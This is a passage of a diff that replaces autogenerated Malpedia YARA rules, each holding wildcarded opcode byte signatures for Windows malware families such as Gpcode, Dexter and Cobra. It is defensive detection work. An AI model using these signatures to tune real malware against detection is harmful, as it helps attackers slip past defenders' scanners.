ff15???????? 85c0 } - $sequence_3 = { c645fc0a ff15???????? 3bc7 0f8eeb030000 bb???????? be???????? 8d85f0f7ffff } - $sequence_4 = { 8b8324020000 8bc8 81e101010000 83f901 0f84e1020000 } - $sequence_5 = { 3b8314020000 0f84cc010000 56 8bcb } - $sequence_6 = { e8???????? 83c418 8d85b4feffff 50 8d8d88f6ffff } - $sequence_7 = { 8d85ecfeffff 68???????? 50 e8???????? ffb5c4f8ffff 8d85ecfeffff } - $sequence_8 = { 33c0 8945f0 394510 7417 c706???????? c74610c4d54100 } - $sequence_9 = { 59 c3 8bff 55 8bec 51 f6430c40 } + $sequence_0 = { f30f59c3 f30f584104 f30f114104 0f28c1 f30f584108 f30f584918 f30f59c3 } + $sequence_1 = { f3a5 68???????? 66a5 c680b600000000 e8???????? 68???????? e8???????? } + $sequence_2 = { ffb6a8000000 8d86d8000000 50 56 e8???????? 83c410 f7d8 } + $sequence_3 = { f30f59cb f30f5c662c f30f101d???????? f30f5c4e28 f30f1150f8 f30f59e2 f30f59ca } + $sequence_4 = { ff7624 e8???????? 83c404 894654 85c0 7412 0f57c0 } + $sequence_5 = { f30f5dc3 f30f107804 f30f102d???????? f20f1035???????? f30f59d3 f30f59c5 f30f5ed7 } + $sequence_6 = { f20f101d???????? f20f1025???????? f20f102d???????? f20f1035???????? f20f103d???????? 8b5508 8b45fc } + $sequence_7 = { ffd0 8bd8 83c40c 807d0c00 899f88010000 895df8 c703???????? } + $sequence_8 = { e8???????? 6a02 8d4704 83c302 50 53 e8???????? } + $sequence_9 = { ffd0 83c404 85c0 7423 8b8690010000 80781100 74e8 } condition: - 7 of them and filesize < 376832 + 7 of them and filesize < 26230784 } -rule MALPEDIA_Win_Doublefantasy_Auto : FILE +rule MALPEDIA_Win_Sync_Scheduler_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ba30a5f3-35d1-5f03-be08-9b3934519f6b" + id = "41472b7c-c76e-5a55-ab89-47e49be56775" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublefantasy_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sync_scheduler" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sync_scheduler_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "1a0409b74271064d42217a7a2221717756e298061c677390a0017c2a29a907a4" + logic_hash = "cefc3130f1fb15a7eb3be2d60b81171c09dab6a15007b67a76905b9641705749" score = 75 quality = 75 tags = "FILE" @@ -138338,38 +137998,32 @@ rule MALPEDIA_Win_Doublefantasy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { bfd3360000 57 6a40 8b35???????? ffd6 } - $sequence_1 = { 8b442404 0fb608 c1e902 8a91908c2700 8b4c2408 8811 33d2 } - $sequence_2 = { e8???????? 8bcb 2bc8 51 ff7514 } - $sequence_3 = { 50 6a00 56 8907 e8???????? 83c40c } - $sequence_4 = { 66ab be???????? 8dbd9ffaffff a5 } - $sequence_5 = { ff15???????? eb72 56 6a00 ff75e0 e8???????? ff75e4 } - $sequence_6 = { 83e20f c1e202 0bd6 8a92908c2700 eb02 b23d 837c241002 } - $sequence_7 = { ff750c ff7508 e8???????? 83c414 8945e0 } - $sequence_8 = { 8a80ad8c2700 eb02 32c0 84c0 } - $sequence_9 = { 891485a4ab2700 40 3bc1 72f1 } - $sequence_10 = { 8a92908c2700 885101 7e1c 0fb67002 33d2 8a5001 c1ee06 } - $sequence_11 = { 8a80908c2700 eb02 b03d 884103 } - $sequence_12 = { 33c0 85c9 7616 8da42400000000 8d50fd 891485a4ab2700 40 } - $sequence_13 = { b9d2360000 51 52 48 } - $sequence_14 = { c68094a3270000 ff35???????? ff35???????? e8???????? 83c414 e8???????? } - $sequence_15 = { ff37 ff750c 8b460c 03c3 50 e8???????? } + $sequence_0 = { b910270000 ff15???????? 90 488b55f8 4883fa10 7231 } + $sequence_1 = { 498bcd ff15???????? 498bcc ff15???????? e9???????? 0f57c0 } + $sequence_2 = { 33d2 488bc8 ff15???????? 488d0557570000 488903 48896e60 48895e08 } + $sequence_3 = { c6450668 c6450777 c6450855 c6450968 c6450a64 c6450b67 c6450c49 } + $sequence_4 = { 480f42d8 48b8ffffffffffffff7f 488d4b01 483bc8 0f87ad000000 4803c9 4881f900100000 } + $sequence_5 = { 75cb 32db 4883fe10 7238 488d5601 } + $sequence_6 = { e8???????? 488d0d9c090000 e8???????? e8???????? } + $sequence_7 = { c645f277 c645f377 c645f46e c645f56c c645f67d } + $sequence_8 = { 488905???????? c7458017000000 8b4580 3448 } + $sequence_9 = { c6456800 33d2 41b808010000 488d8d20020000 e8???????? 498d8680bc0000 } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 156672 } -rule MALPEDIA_Win_Asruex_Auto : FILE +rule MALPEDIA_Win_Electricfish_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "899abd0f-c835-5f70-819c-92570cc9b462" + id = "4bbe8d4f-bb22-5f20-a9d1-098a3e3e3fc4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.asruex_auto.yar#L1-L112" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.electricfish_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "a14db0e4e44f1156fe16afe843345aa29b9b1f1eb3cc060b10e0bcdf06eb97d4" + logic_hash = "107f1b585d0a1fb5b5a2004135458a9d2fc68da8f22b2f0a6dfa6f03b7f81b2b" score = 75 quality = 75 tags = "FILE" @@ -138383,32 +138037,32 @@ rule MALPEDIA_Win_Asruex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 740e 85ed 740a } - $sequence_1 = { e8???????? 83f8ff 7407 3d0000a000 } - $sequence_2 = { ff15???????? 85c0 7407 3d14270000 } - $sequence_3 = { 3c78 7404 3c58 7505 bb01000000 } - $sequence_4 = { 83f801 740e 83f803 7409 83f802 } - $sequence_5 = { 3c0d 7404 3c0a 7516 } - $sequence_6 = { 7404 3c58 7505 bb01000000 } - $sequence_7 = { 3c09 7408 3c0d 7404 3c0a 7516 } - $sequence_8 = { 7408 3c0d 7404 3c0a 7516 } - $sequence_9 = { 740c 3c09 7408 3c0d 7404 3c0a 7516 } + $sequence_0 = { eb08 56 57 53 ffd0 83c40c 3bc6 } + $sequence_1 = { e8???????? 8bf8 85ff 75e0 6891010000 68???????? 6a41 } + $sequence_2 = { eb3a 0fb67201 81e680000000 b901000000 3bc6 75c4 68ae000000 } + $sequence_3 = { 39442458 7413 6852020000 68???????? 50 e8???????? 83c40c } + $sequence_4 = { c3 837f1006 7414 689a010000 68???????? 6892000000 e9???????? } + $sequence_5 = { 33c0 c745fc02000000 8945e8 8945ec 8d45e8 6a08 50 } + $sequence_6 = { f6423401 7508 c744241401000000 8b834c010000 85c0 0f8426010000 3bf8 } + $sequence_7 = { 85ed 7518 6874010000 68???????? 6a41 6a7d 6a0b } + $sequence_8 = { e8???????? 83c40c 85c0 0f84bb040000 6a01 53 c7430c00000000 } + $sequence_9 = { 85ff 0f8522010000 e8???????? 5f 5e 5d } condition: - 7 of them and filesize < 1564672 + 7 of them and filesize < 3162112 } -rule MALPEDIA_Win_Vendetta_Auto : FILE +rule MALPEDIA_Win_Nestegg_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bcdb1310-b09c-513a-b41a-f75320f7a85e" + id = "52ec43db-af34-5600-ae4f-7af1b99fc246" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vendetta_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nestegg_auto.yar#L1-L101" license_url = "N/A" - logic_hash = "5c2304aa47000d3a15dbc6575084e1756c9655c08eb53d8a6e39024d5b55c108" + logic_hash = "998bf1c6b0e9df7e30236e71f3887671a96f6e1e7f5c7700f72ff2a5d20b9889" score = 75 quality = 75 tags = "FILE" @@ -138422,34 +138076,32 @@ rule MALPEDIA_Win_Vendetta_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? c745e0e8924100 e9???????? c745e0d4924100 } - $sequence_1 = { 8bf1 83caff bf00040000 0fb60e } - $sequence_2 = { 40 c745ec7c994000 894df8 8945fc 64a100000000 8945e8 } - $sequence_3 = { 83ef01 75d4 f7d2 5f 8bc2 5e } - $sequence_4 = { 53 8d85f0f7ffff 50 56 ff15???????? } - $sequence_5 = { 84c0 0f843b010000 8d770c 6a2c } - $sequence_6 = { 8b85e0feffff 03b40518ffffff 03b0acb04100 03b5f8feffff } - $sequence_7 = { 238df4feffff 8b85e0feffff 03b40508ffffff 03b09cb04100 8bc3 03b5dcfeffff 01b5f8feffff } - $sequence_8 = { 3385ecfeffff 23c2 3385f8feffff 03f0 8b85e0feffff 03b40514ffffff 03b0a8b04100 } - $sequence_9 = { 7f0e 7c08 81fa00000080 7704 } + $sequence_0 = { 8d4c2420 33ed 89442444 51 } + $sequence_1 = { 6a08 ff15???????? 8be8 b988000000 33c0 8dbc24a8020000 c78424a402000024020000 } + $sequence_2 = { 89742410 e8???????? 6a00 6800200000 8d8e2c040000 c744245800000000 } + $sequence_3 = { 2bc3 8bce 50 e8???????? 8b8f28040000 } + $sequence_4 = { 5f 5e 59 c20c00 ff15???????? } + $sequence_5 = { b907000000 f7f9 42 89542410 8b5500 } + $sequence_6 = { 7530 50 50 8b44240c 25ffff0000 50 68???????? } + $sequence_7 = { 81e1ffff0000 c744243400000000 d1e1 85c9 } condition: - 7 of them and filesize < 296960 + 7 of them and filesize < 221184 } -rule MALPEDIA_Win_Sidewinder_Auto : FILE +rule MALPEDIA_Win_Cobra_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc151d68-8079-5f48-8578-23ad18a0a4e7" + id = "fd128616-d78e-5906-a1c5-ca71a64ca5ee" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sidewinder_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobra_auto.yar#L1-L492" license_url = "N/A" - logic_hash = "e4a063cf875d6c669e0a5700a0f46ba681b39263a023b07ff990bd59cdb78477" + logic_hash = "e8cb467ce58a2dce4e2587c1e891472f04ba426ad5841eddc54e114fd734ddcf" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -138461,32 +138113,79 @@ rule MALPEDIA_Win_Sidewinder_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945cc 837dcc00 0f8e37030000 0fbf4510 85c0 740e ff75c0 } - $sequence_1 = { dfe0 9e 740e dd45cc dc1d???????? dfe0 9e } - $sequence_2 = { 8d45b8 50 8d45c8 50 8d45d8 50 8d45a8 } - $sequence_3 = { dbe2 8945dc 837ddc00 7d17 6a3c 68???????? ff75ec } - $sequence_4 = { 817da0a3000000 750a 66830d????????ff eb54 837da058 740c 837da043 } - $sequence_5 = { 8965f8 c745fc???????? 6a02 59 e8???????? 668945e0 8b4508 } - $sequence_6 = { 50 6a00 e8???????? 8d45d4 50 6a00 e8???????? } - $sequence_7 = { 83a59cfeffff00 8b45a0 89853cffffff 8d855cffffff 50 8b853cffffff 8b00 } - $sequence_8 = { eb09 8d45ec 89856cffffff 8b856cffffff 8b00 8945b0 8d45d0 } - $sequence_9 = { e8???????? 898560ffffff eb07 83a560ffffff00 8b45c8 894588 c745b004000280 } + $sequence_0 = { 7511 e8???????? 85c0 7508 ff15???????? } + $sequence_1 = { c20c00 ff25???????? 53 56 57 8bd9 33f6 } + $sequence_2 = { 5e 5b c3 83fb01 7405 83fb02 7537 } + $sequence_3 = { 7514 391d???????? 754d 33c0 } + $sequence_4 = { 8b442438 85c0 757f 8b05???????? } + $sequence_5 = { 751c 8bcf ff15???????? 8d8fe8030000 8bf9 } + $sequence_6 = { ff25???????? 8b442408 85c0 750e 3905???????? 7e2c } + $sequence_7 = { 5b c3 85db 7405 83fb03 753b } + $sequence_8 = { 757f 8b05???????? 85c0 0f8e8c000000 83e801 8905???????? } + $sequence_9 = { e8???????? 8bf8 83fb01 751d 85ff } + $sequence_10 = { 5f 5e 5b c3 85ff 7418 } + $sequence_11 = { 33d2 b9e8030000 f7f1 83f805 } + $sequence_12 = { 813c0850450000 7503 33c0 c3 } + $sequence_13 = { e8???????? ff463c 57 e8???????? } + $sequence_14 = { ff15???????? 53 ff7714 8bf0 ff571c 59 } + $sequence_15 = { 7407 33c0 e9???????? ff15???????? e9???????? } + $sequence_16 = { 8b742408 837e0c00 7507 b865005921 5e c3 837e2800 } + $sequence_17 = { 7f07 e8???????? eb26 83c0ff } + $sequence_18 = { e8???????? 33db 3bc3 741a } + $sequence_19 = { e8???????? eb6d e8???????? 85c0 7564 } + $sequence_20 = { ebe4 4533f6 413bee 75f4 } + $sequence_21 = { 7564 488b0b 488b01 83385c 7e4b 4c8b505c } + $sequence_22 = { e8???????? 498bce 85c0 750e } + $sequence_23 = { 7548 488b05???????? 4885c0 743c 488b8c24a0000000 } + $sequence_24 = { e8???????? 498bce e8???????? 48832700 } + $sequence_25 = { 7504 33c0 eb05 b865005921 } + $sequence_26 = { 83781400 750a b865005921 e9???????? } + $sequence_27 = { 663bcb 75f4 8b15???????? 8b0d???????? 8910 8b15???????? } + $sequence_28 = { ff15???????? 83f87a 740b 3d230000c0 } + $sequence_29 = { 51 e8???????? 33c0 83c43c } + $sequence_30 = { 6689440ffc 6685c0 75ee f685c003000010 } + $sequence_31 = { ff15???????? eb03 8b7d0c 3bfb } + $sequence_32 = { 51 6a00 6a00 56 ff15???????? 56 } + $sequence_33 = { 6a03 68000000c0 50 ff15???????? 8bf0 83feff 7505 } + $sequence_34 = { 83feff 7505 33c0 5e 5d c3 8b4d08 } + $sequence_35 = { 50 6a00 6aff e8???????? 85c0 7405 } + $sequence_36 = { 8bec 56 6a00 6880000000 6a03 6a00 6a03 } + $sequence_37 = { 5d c3 8b4d08 57 51 6a00 } + $sequence_38 = { b914000000 84c0 0f45f9 488bce 8bd7 ff15???????? 85c0 } + $sequence_39 = { 4584ff 7518 33c0 4881c4480d0000 } + $sequence_40 = { 8d8588feffff 68???????? 50 ff15???????? 83c42c } + $sequence_41 = { 4533e4 4c8bf1 488bda 488d8d10060000 33d2 41b808020000 4489a5800c0000 } + $sequence_42 = { 4c89642448 488d4c2468 48894c2440 4c89642438 } + $sequence_43 = { 33d2 488bc8 ff15???????? 488bcf ff15???????? 41b701 } + $sequence_44 = { 56 4154 4156 4157 488dac24b8f3ffff } + $sequence_45 = { 7507 32c0 e9???????? c745b818000000 } + $sequence_46 = { 668b08 83c002 6685c9 75f5 2bc2 d1f8 66837c43fe5c } + $sequence_47 = { 33f6 03c2 13ce 51 50 } + $sequence_48 = { 0f8456feffff 807c241301 6800080000 0f8544020000 } + $sequence_49 = { 05a1000000 50 8d84249c0d0000 68???????? } + $sequence_50 = { 05a2000000 50 8d8c249c0d0000 68???????? } + $sequence_51 = { 0f84100f0000 6800080000 57 56 } + $sequence_52 = { 0f8431ffffff 8b4d08 5f 8931 } + $sequence_53 = { 05a2000000 50 8d94249c0d0000 68???????? } + $sequence_54 = { 85c0 740a b8050000c0 e9???????? } + $sequence_55 = { 668cc8 c3 53 50 } + $sequence_56 = { c745d000000000 c745d400000000 8d45c0 50 e8???????? } condition: - 7 of them and filesize < 679936 + 7 of them and filesize < 1368064 } -rule MALPEDIA_Win_Orangeade_Auto : FILE +rule MALPEDIA_Win_Gpcode_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a790e493-320f-57de-9b62-d13796c94676" + id = "2b18987b-bc80-5fc9-83bb-027c69a960bd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orangeade_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gpcode_auto.yar#L1-L176" license_url = "N/A" - logic_hash = "bc9cfd6680cc4f32cd41e9edf43afa43b54975c598906df96ea95e31fa6c1612" + logic_hash = "05e954eda4e4590590475795b2183e3631e7aeea469ee6afc7d69c80e137d118" score = 75 quality = 75 tags = "FILE" @@ -138500,32 +138199,40 @@ rule MALPEDIA_Win_Orangeade_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bb42428050000 50 8bce e8???????? c744241001000000 } - $sequence_1 = { 50 8d942470020000 51 52 ff15???????? } - $sequence_2 = { f3ab 66ab aa 8d842468020000 50 } - $sequence_3 = { 6881000000 6a00 c784249428010000000000 ff15???????? 8bf0 56 } - $sequence_4 = { aa b93f000000 33c0 8dbc2465010000 } - $sequence_5 = { 8d4c2424 c684248828010002 e8???????? 8d4c2410 c684248828010001 e8???????? 8d4c2414 } - $sequence_6 = { b93f000000 33c0 8d7c2479 885c2478 f3ab } - $sequence_7 = { 68???????? 8d4c2410 e8???????? 68???????? 6884000000 53 ff15???????? } - $sequence_8 = { e8???????? 83c404 8d4c2424 c684248828010002 } - $sequence_9 = { 50 8d4c2410 c684248400000001 e8???????? } + $sequence_0 = { a1???????? a3???????? 6800001000 68???????? ff35???????? } + $sequence_1 = { 68???????? e8???????? 91 6a00 } + $sequence_2 = { e8???????? e8???????? c705????????01000000 c3 55 8bec } + $sequence_3 = { 68f4010000 e8???????? 833d????????01 75ed e8???????? } + $sequence_4 = { 0f840d020000 a3???????? 68???????? ff35???????? e8???????? 85c0 } + $sequence_5 = { a1???????? eb18 8b1d???????? 53 } + $sequence_6 = { ff7508 6aff 68???????? ff75f4 ff15???????? } + $sequence_7 = { e8???????? 85c0 0f8447020000 a3???????? 68???????? } + $sequence_8 = { 23d8 741f 80c141 880d???????? } + $sequence_9 = { e8???????? 6a0a 68???????? 6a00 e8???????? 0bc0 7504 } + $sequence_10 = { 75dc 85c9 7415 85c0 } + $sequence_11 = { a0???????? 2c30 a2???????? eb0a } + $sequence_12 = { 53 ff7508 56 50 6802010000 } + $sequence_13 = { e9???????? ff75f4 6a08 ff35???????? ff15???????? } + $sequence_14 = { 47 46 8a06 84c0 8975f4 } + $sequence_15 = { 8bfb 2b7df4 837decff 8955bc 8955c4 } + $sequence_16 = { 50 57 ff15???????? 8d45e4 50 } + $sequence_17 = { 740c 803f29 7507 c6020f } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 761856 } -rule MALPEDIA_Win_Logtu_Auto : FILE +rule MALPEDIA_Win_Crosswalk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f949c271-e440-5637-a6d2-753c8d4bcb2d" + id = "1076206e-4e1c-51ff-b49e-1f2c394e3af9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.logtu_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crosswalk_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "2b9e09a38ca4475522d0fb0fcb3945e7a2b5d830b8dfe7602d8b21ba629f63c3" + logic_hash = "41379ac5fd7ea514139388720a6ee90edcc7ef23d2f29794443905502b173fda" score = 75 quality = 75 tags = "FILE" @@ -138539,32 +138246,38 @@ rule MALPEDIA_Win_Logtu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a64 6a00 ff15???????? 85c0 7509 8b45bc } - $sequence_1 = { ff15???????? 85c0 7509 8b45bc } - $sequence_2 = { ff15???????? 6a01 8bf0 8d85a4fdffff 68???????? 50 } - $sequence_3 = { 81ec98050000 a1???????? 33c5 8945fc 53 56 57 } - $sequence_4 = { 6800080000 50 8d85fcf7ffff 50 e8???????? } - $sequence_5 = { 50 8d85fcf7ffff 68???????? 50 e8???????? 8d85fcf7ffff } - $sequence_6 = { 8d8578faffff 50 8d8584faffff 50 } - $sequence_7 = { 8d8578faffff 50 8d8584faffff 50 8d8574faffff } - $sequence_8 = { 6a01 8bf0 8d85a4fdffff 68???????? 50 ff15???????? 83c40c } - $sequence_9 = { 68???????? 50 e8???????? 8d85fcf7ffff 6800040000 50 } + $sequence_0 = { 4883ec28 4885c9 7402 ffd1 } + $sequence_1 = { 8bc2 c1e81f 03d0 69c2890e0000 3bc8 } + $sequence_2 = { d3ca 03d0 4183ef01 75ef } + $sequence_3 = { 33f6 8d6e20 8bcd e8???????? } + $sequence_4 = { 458d7ee0 418bd7 ff15???????? 4821742420 } + $sequence_5 = { 41b88d56e68c 418bc0 f7e9 03d1 } + $sequence_6 = { 458bc6 33d2 488bc8 e8???????? 4533c9 } + $sequence_7 = { 410fbe00 49ffc0 d3ca 03d0 } + $sequence_8 = { c1f906 6bd730 8b0c8d808e4100 c644112800 85f6 740c 56 } + $sequence_9 = { 58 6bc000 c7803c88410002000000 6a04 58 6bc000 8b0d???????? } + $sequence_10 = { 6a00 6a00 57 56 8945f8 ff15???????? } + $sequence_11 = { 41 4a c60100 b8???????? c745dc0c234100 8945bc } + $sequence_12 = { 8945e8 8945f8 8b4508 56 be???????? c745ec24234100 57 } + $sequence_13 = { 7420 6bc618 57 8db880904100 57 ff15???????? } + $sequence_14 = { 83e03f 8bca 6bc030 c1f906 03048d808e4100 eb02 } + $sequence_15 = { 6bf030 03348d808e4100 837e18ff 740c } condition: - 7 of them and filesize < 924672 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Dispenserxfs_Auto : FILE +rule MALPEDIA_Win_Unidentified_023_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dcad1348-3e3e-5861-ac43-e7a329125581" + id = "1400fef8-22ab-55d3-be00-2034b5c77506" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dispenserxfs_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_023_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "8f86c5e67886e9169f08b08ef67943d3d51f035e4bbfcd62571f895fcd1de81c" + logic_hash = "967009d10509388ccde45cabcb9706cb7743d93f422192cdf1b0f418e7706b0c" score = 75 quality = 75 tags = "FILE" @@ -138578,34 +138291,34 @@ rule MALPEDIA_Win_Dispenserxfs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? e8???????? 8b4c242c 83c41c 8bc1 } - $sequence_1 = { 58 6689854affffff 33c0 66898574ffffff 8d45cc } - $sequence_2 = { 75ee 83c004 0fb708 66890f } - $sequence_3 = { 68???????? e8???????? 59 ff75fc ff15???????? eb0d } - $sequence_4 = { 47 84c0 75f8 8bca 8d85f8eeffff c1e902 f3a5 } - $sequence_5 = { 0f84e6000000 0fb74106 50 0fb74104 50 } - $sequence_6 = { 57 8d45f0 8bd9 50 6860ea0000 33f6 895de4 } - $sequence_7 = { 0f8408010000 33f6 8bcb 894df4 663bf2 0f83f8000000 57 } - $sequence_8 = { 6683f802 750b 8b4c2408 e8???????? eb10 0fb6c1 50 } - $sequence_9 = { 89b544ffffff 89b564ffffff 89b568ffffff 89b56cffffff 89b570ffffff 89b57cffffff } + $sequence_0 = { b8cccccccc f3ab a1???????? 8945e4 8b0d???????? } + $sequence_1 = { 894df4 8a15???????? 8855f8 837d0c01 7514 8bf4 } + $sequence_2 = { 8855f8 837d0c01 7514 8bf4 68???????? ff15???????? } + $sequence_3 = { 8a15???????? 8855f8 837d0c01 7514 8bf4 } + $sequence_4 = { 8855f8 837d0c01 7514 8bf4 68???????? ff15???????? 3bf4 } + $sequence_5 = { 0909 0909 0407 0807 8d4900 4f } + $sequence_6 = { 68???????? ff15???????? 3bf4 e8???????? b801000000 52 8bcd } + $sequence_7 = { b938000000 b8cccccccc f3ab a1???????? 8945e4 8b0d???????? } + $sequence_8 = { 0909 0909 0909 0407 0807 8d4900 4f } + $sequence_9 = { 8945f0 8b0d???????? 894df4 8a15???????? 8855f8 837d0c01 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 1433600 } -rule MALPEDIA_Win_Lorenz_Auto : FILE +rule MALPEDIA_Win_Dexter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3aee8adc-1b9f-5b03-9288-bb1500e950aa" + id = "b1377870-3c18-50e1-8895-9f4c52e3708d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lorenz_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dexter_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "c80c5566415183b7ec75889797e4ddd8ca135fa83bddd748f7ac34751f1b8d91" - score = 60 - quality = 45 + logic_hash = "a43855bc8fa5d1635b94e65a3069c65413410fe093cfd7f70d80f09412658791" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -138617,32 +138330,32 @@ rule MALPEDIA_Win_Lorenz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bec 51 894dfc 6a0c 8b4508 50 8b4dfc } - $sequence_1 = { 894db0 8b55b0 3b55f4 7314 8b45b0 8b4dfc 8b1481 } - $sequence_2 = { e8???????? 8945f8 8b55fc 833a02 753d 8b4df8 e8???????? } - $sequence_3 = { e8???????? 68???????? 8d4d84 51 e8???????? 8b5514 52 } - $sequence_4 = { 8b4dfc e8???????? 0fb6d0 85d2 7454 8b45fc 8b480c } - $sequence_5 = { ff15???????? 33d2 8b450c 66895004 8b4d0c 8b55f4 8911 } - $sequence_6 = { 8b55dc 8b02 50 8b4d08 51 8b4ddc e8???????? } - $sequence_7 = { 83c410 e9???????? 68???????? 8d4dbc e8???????? 8b4dec 8b11 } - $sequence_8 = { 6a00 68840a0000 68???????? 6a02 e8???????? 83c418 83f801 } - $sequence_9 = { cc 33d2 75c3 33c0 75bf 837dfc00 7408 } + $sequence_0 = { 6a59 ff15???????? 85c0 7414 68???????? 8b4d08 } + $sequence_1 = { 50 6a00 ff15???????? 68???????? 68???????? } + $sequence_2 = { 8b0d???????? 51 ff15???????? 8b15???????? 8955fc 8b45fc 50 } + $sequence_3 = { 8b45fc 50 ff15???????? 8b0d???????? 51 ff15???????? ebc6 } + $sequence_4 = { 83c40c 68???????? ff15???????? 6a00 6a00 6a00 6a00 } + $sequence_5 = { e9???????? 6a59 ff15???????? 85c0 7514 68???????? 8b4d08 } + $sequence_6 = { e8???????? 83c410 8b4508 50 8b4d10 } + $sequence_7 = { ff15???????? 6a4a 6a00 68???????? e8???????? 83c40c 6a4a } + $sequence_8 = { 7514 68???????? 8b5508 52 ff15???????? e9???????? } + $sequence_9 = { 51 6a08 8b15???????? 52 ff15???????? 8945f8 } condition: - 7 of them and filesize < 2254848 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Purplefox_Auto : FILE +rule MALPEDIA_Win_Remexi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a13fd35f-ff4a-5d50-9b5d-b24cdc4536ab" + id = "a43f5f53-342c-554e-8dee-8b775f5bb787" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox" - source_url = 